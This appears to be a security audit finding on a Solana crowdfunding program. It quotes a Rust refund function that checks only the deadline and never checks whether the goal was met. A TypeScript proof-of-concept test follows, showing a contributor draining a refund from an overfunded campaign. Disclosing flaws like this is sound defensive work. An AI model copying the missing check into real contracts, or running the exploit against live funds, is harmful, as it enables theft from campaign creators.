According to the docs, Contributors "Can request refunds under if the campaign fails to meet the goal and the deadline is reached". This means that if the goal of the crowdfunding is for example 10 SOL, and the campaign accrues 12 SOL, Contributors shouldn't be able to get refunds.
pub fn refund(ctx: Context<FundRefund>) -> Result<()> {
let amount = ctx.accounts.contribution.amount;
if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
return Err(ErrorCode::DeadlineNotReached.into());
}
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.contributor.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.contributor.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
ctx.accounts.contribution.amount = 0;
Ok(())
async function airdropSol(publicKey: PublicKey, amount: number) {
const airdropTx = await anchor.getProvider().connection.requestAirdrop(publicKey, amount);
await confirmTransaction(airdropTx);
}
async function confirmTransaction(tx: string) {
const latestBlockHash = await anchor.getProvider().connection.getLatestBlockhash();
await anchor.getProvider().connection.confirmTransaction({
blockhash: latestBlockHash.blockhash,
lastValidBlockHeight: latestBlockHash.lastValidBlockHeight,
signature: tx,
});
}
it.only("eronous refunds", async () => {
const testFundName = "RefundBugFund-" + Date.now();
const testDescription = "Test fund for refund bug demonstration";
const testGoal = new anchor.BN(10_000_000_000);
const depositAmount = new anchor.BN(6_000_000_000);
const deadline = new anchor.BN(Math.floor(Date.now() / 1000) + 10);
const [testFundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(testFundName), creator.publicKey.toBuffer()],
program.programId
);
await program.methods
.fundCreate(testFundName, testDescription, testGoal)
.accounts({
fund: testFundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
await program.methods
.setDeadline(deadline)
.accounts({
fund: testFundPDA,
creator: creator.publicKey,
})
.rpc();
const [creatorContributionPDA] = await PublicKey.findProgramAddress(
[testFundPDA.toBuffer(), creator.publicKey.toBuffer()],
program.programId
);
await program.methods
.contribute(depositAmount)
.accounts({
fund: testFundPDA,
contributor: creator.publicKey,
contribution: creatorContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
await airdropSol(otherUser.publicKey, 10_000_000_000);
const [otherContributionPDA] = await PublicKey.findProgramAddress(
[testFundPDA.toBuffer(), otherUser.publicKey.toBuffer()],
program.programId
);
await program.methods
.contribute(depositAmount)
.accounts({
fund: testFundPDA,
contributor: otherUser.publicKey,
contribution: otherContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([otherUser])
.rpc();
const fundAccount = await program.account.fund.fetch(testFundPDA);
console.log("Fund goal:", fundAccount.goal.toString());
console.log("Fund amount raised:", fundAccount.amountRaised.toString());
expect(fundAccount.amountRaised.eq(new anchor.BN(12_000_000_000))).to.be
.true;
expect(fundAccount.amountRaised.gt(testGoal)).to.be.true;
console.log("Waiting for deadline to pass...");
await new Promise((resolve) => setTimeout(resolve, 15000));
const currentTimestamp = Math.floor(Date.now() / 1000);
const fundAccountAfterDeadline = await program.account.fund.fetch(
testFundPDA
);
console.log("Current timestamp:", currentTimestamp);
console.log("Fund deadline:", fundAccountAfterDeadline.deadline.toNumber());
expect(currentTimestamp).to.be.gt(
fundAccountAfterDeadline.deadline.toNumber()
);
await program.methods
.refund()
.accounts({
fund: testFundPDA,
contribution: otherContributionPDA,
contributor: otherUser.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([otherUser])
.rpc();
});